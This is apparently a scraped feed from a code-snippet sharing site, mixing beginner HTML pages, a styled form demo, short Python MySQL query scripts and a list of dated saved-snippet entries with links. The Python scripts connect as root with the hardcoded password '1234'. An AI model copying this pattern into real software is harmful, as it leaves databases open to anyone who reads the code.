                    transition: all 0.3s ease;
                    background-color: #b9b9b9;
                    transform: scale(1.05);
                    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
                    background: linear-gradient(45deg, #ff9a9e, #fad0c4);
                  "
                >
                  All Styles Applied
                </div>
              </div>
              <div class="text-center shadow">
                <p class="highlight">Highlighted Centered Text</p>
                <p class="italic">Italic Centered Text</p>
              </div>
              <div>
                <form>
                  <label for="name">Name:</label>
                  <input
                    type="text"
                    id="name"
                    name="name"
                    placeholder="Enter your name"
                  />

                  <label for="email">Email:</label>
                  <input
                    type="email"
                    id="email"
                    name="email"
                    placeholder="Enter your email"
                  />

                  <label for="gender">Gender:</label>
                  <select id="gender" name="gender">
                    <option value="male">Male</option>
                    <option value="female">Female</option>
                    <option value="other">Other</option>
                  </select>

                  <label for="message">Message:</label>
                  <textarea
                    id="message"
                    name="message"
                    rows="4"
                    placeholder="Write your message"
                  ></textarea>

                  <button type="submit" class="button-primary">Submit</button>
                  <button type="reset" class="button-secondary">Reset</button>
                </form>
              </div>
              <div>
                <p>
                  Visit our
                  <a href="https://example.com" target="_blank">website</a> for
                  more information.
                </p>
              </div>
              <div>
                <button
                  onclick="alert('Button Clicked!')"
                  class="button-primary"
                >
                  Click Me
                </button>
                <button class="button-secondary">Another Button</button>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Lists</title>
</head>
<body>
    <h1>shahrukh is the best actor </h1>
    <h2>Salman is also agood actor</h2>

    <ol>
        <li>orange <strong>tea</strong> </li> <!---strong -->
        <li>live  <em>tea </em> </li> <!---em tag isused  -->
        <li>hero </li>
    </ol>
    <div>
        <h1> blocklevel elements </h1>
        <ul>
            <li>hradings</li>
            <li>ol, li </li>
            <li> p</li>
            <li>li</li>
        </ul>
    </div>
    <div>
        <h1>  inline elements </h1>
        <ul>
            
            <li>a tags</li>
            <li>img</li>
            <li>strong</li>

        </ul>
    </div>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=  , initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1 title="chai or code">My name is tanishq dhingra </h1>
    <h2> i  study in bennet university </h2>
    <a href="http://chaicode.com">go to cha   i code </a>
    <a href="TANISHQ DHINGRA.docx">tanishq dhingra document</a>
    <img src="./imageee.jpg.jpg" width = "300px">
    <h6> i not happy in my life  i want to became the high 3  </h6>
   

</body>
</html>
import mysql.connector as c

mydb = c.connect(
    host=" 172.16.25.53",
    user="root",
    password="1234",
    database="cvr"
)

mycursor = mydb.cursor()
mycursor.execute("select * from sunny order by score asc")
students=mycursor.fetchall()
for std in students:
    print(std)
import mysql.connector as c

mydb = c.connect(
    host="localhost",
    user="root",
    password="1234",
    database="cvr"
)

mycursor = mydb.cursor()
mycursor.execute("select * from student3")
students=mycursor.fetchall();
for std in students:
    print(std)
star

Tue Jan 21 2025 11:22:59 GMT+0000 (Coordinated Universal Time)

@MinaTimo

star

Tue Jan 21 2025 10:35:16 GMT+0000 (Coordinated Universal Time)

@Shira

star

Tue Jan 21 2025 10:27:30 GMT+0000 (Coordinated Universal Time) https://codepen.io/emgarf/pen/ZENpowe

@rstringa

star

Tue Jan 21 2025 10:06:53 GMT+0000 (Coordinated Universal Time) https://beleaftechnologies.com/crypto-algo-trading-bot-development

@raydensmith #cryptoalgo trading bot development #cryptoalgo trading bot #trading #bot

star

Tue Jan 21 2025 09:14:40 GMT+0000 (Coordinated Universal Time) https://www.blick.ch/wirtschaft/wall-street-jubelt-ueber-die-neuen-zahlen-aktie-kraeftig-im-plus-unglaublicher-boersen-run-von-chip-konzern-nvidia-geht-weiter-id19766398.html?admforce=gam-prebid&admbidder=xandrriad&admforce-prebid=qa

@RL

star

Tue Jan 21 2025 09:14:23 GMT+0000 (Coordinated Universal Time) https://www.blick.ch/wirtschaft/wall-street-jubelt-ueber-die-neuen-zahlen-aktie-kraeftig-im-plus-unglaublicher-boersen-run-von-chip-konzern-nvidia-geht-weiter-id19766398.html?admforce=gam-prebid&admbidder=xandrriad&admforce-prebid=qa-na

@RL

star

Tue Jan 21 2025 09:12:54 GMT+0000 (Coordinated Universal Time) https://developers.google.com/publisher-tag/reference#googletag.PubAdsService.set

@RL

star

Tue Jan 21 2025 09:11:41 GMT+0000 (Coordinated Universal Time) https://iabeurope.eu/vendor-list-tcf/

@RL

star

Tue Jan 21 2025 09:10:23 GMT+0000 (Coordinated Universal Time)

@RL

star

Tue Jan 21 2025 06:16:17 GMT+0000 (Coordinated Universal Time) https://gist.github.com/ryanbehdad/7649672dacb4d809f21d1e74804867b3

@A003670

star

Tue Jan 21 2025 06:04:12 GMT+0000 (Coordinated Universal Time) https://sgo.e-yakutia.ru/app/school/studentdiary/

@SATURAY

star

Tue Jan 21 2025 05:55:22 GMT+0000 (Coordinated Universal Time) https://sgo.e-yakutia.ru/app/school/studentdiary/

@SATURAY

star

Tue Jan 21 2025 05:01:56 GMT+0000 (Coordinated Universal Time)

@Xyfer_

star

Tue Jan 21 2025 04:39:24 GMT+0000 (Coordinated Universal Time)

@Xyfer_

star

Mon Jan 20 2025 21:30:05 GMT+0000 (Coordinated Universal Time)

@shivamp

star

Mon Jan 20 2025 20:25:42 GMT+0000 (Coordinated Universal Time)

@sydneygeorgia

star

Mon Jan 20 2025 15:59:42 GMT+0000 (Coordinated Universal Time)

@jrg_300i #undefined

star

Mon Jan 20 2025 15:58:34 GMT+0000 (Coordinated Universal Time)

@Melody01

star

Mon Jan 20 2025 15:01:18 GMT+0000 (Coordinated Universal Time)

@Shira

star

Mon Jan 20 2025 14:50:11 GMT+0000 (Coordinated Universal Time)

@jrg_300i #undefined

star

Mon Jan 20 2025 14:43:24 GMT+0000 (Coordinated Universal Time)

@jrg_300i #undefined

star

Mon Jan 20 2025 14:06:54 GMT+0000 (Coordinated Universal Time)

@StefanoGi

star

Mon Jan 20 2025 14:06:17 GMT+0000 (Coordinated Universal Time)

@Sudheer

star

Mon Jan 20 2025 13:59:23 GMT+0000 (Coordinated Universal Time)

@Sudheer

star

Mon Jan 20 2025 13:53:33 GMT+0000 (Coordinated Universal Time)

@Sudheer

star

Mon Jan 20 2025 13:44:32 GMT+0000 (Coordinated Universal Time)

@Sudheer

star

Mon Jan 20 2025 11:45:35 GMT+0000 (Coordinated Universal Time) https://www.beleaftechnologies.com/meme-coin-development-company

@stvejhon #crypto #cryptocurrency #exchange #meme

star

Mon Jan 20 2025 10:16:46 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/62934384/how-to-add-timestamp-to-each-request-in-uvicorn-logs

@quaie

star

Sun Jan 19 2025 21:44:56 GMT+0000 (Coordinated Universal Time)

@shivamp

star

Sun Jan 19 2025 13:24:13 GMT+0000 (Coordinated Universal Time) https://tinyurl.com/2d6ol37z

@citizen5ive #lua #roblox

star

Sun Jan 19 2025 13:11:15 GMT+0000 (Coordinated Universal Time) https://tinyurl.com/2cg5x69c

@citizen5ive #lua #roblox

star

Sun Jan 19 2025 13:10:10 GMT+0000 (Coordinated Universal Time)

@aguelmann

star

Sun Jan 19 2025 12:23:53 GMT+0000 (Coordinated Universal Time) https://tinyurl.com/24g3tgl3

@citizen5ive #lua #roblox

star

Sun Jan 19 2025 11:12:43 GMT+0000 (Coordinated Universal Time) https://images3.alphacoders.com/134/1345615.jpeg

@jerrygaming1411

star

Sat Jan 18 2025 12:28:51 GMT+0000 (Coordinated Universal Time) https://www.avanderlee.com/combine/runloop-main-vs-dispatchqueue-main/

@kaushalPal0812 #swift

star

Fri Jan 17 2025 22:16:54 GMT+0000 (Coordinated Universal Time)

@morguefaexx #markup #html #markdown

star

Fri Jan 17 2025 21:39:25 GMT+0000 (Coordinated Universal Time) https://darkmodejs.learn.uno/

@morguefaexx #js #javascript #html

star

Fri Jan 17 2025 21:37:08 GMT+0000 (Coordinated Universal Time) https://github.com/levinunnink/html-form-to-google-sheet

@morguefaexx #js #javascript

star

Fri Jan 17 2025 21:17:07 GMT+0000 (Coordinated Universal Time) https://www.w3schools.com/howto/howto_css_dropdown.asp

@morguefaexx #html #css

star

Fri Jan 17 2025 21:15:54 GMT+0000 (Coordinated Universal Time) https://www.w3schools.com/howto/howto_css_dropdown.asp

@morguefaexx #html #css

star

Fri Jan 17 2025 17:47:29 GMT+0000 (Coordinated Universal Time) https://neunous.com/wp-admin/tools.php?page

@anbizz

star

Fri Jan 17 2025 17:27:34 GMT+0000 (Coordinated Universal Time) https://neunous.com/wp-admin/tools.php?page

@anbizz #undefined

star

Fri Jan 17 2025 15:39:37 GMT+0000 (Coordinated Universal Time)

@itz_me_vallabh

star

Fri Jan 17 2025 13:49:20 GMT+0000 (Coordinated Universal Time)

@Thinkworks #html

star

Fri Jan 17 2025 10:36:23 GMT+0000 (Coordinated Universal Time)

@E23CSEU1151

star

Fri Jan 17 2025 09:43:39 GMT+0000 (Coordinated Universal Time)

@E23CSEU1151

star

Fri Jan 17 2025 09:24:56 GMT+0000 (Coordinated Universal Time) https://github.com/Nagul-Tekworks/Python-Db1/blob/main/DA.ipynb

@enter123

star

Fri Jan 17 2025 08:24:38 GMT+0000 (Coordinated Universal Time)

@enter123

star

Fri Jan 17 2025 08:24:18 GMT+0000 (Coordinated Universal Time)

@enter123

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension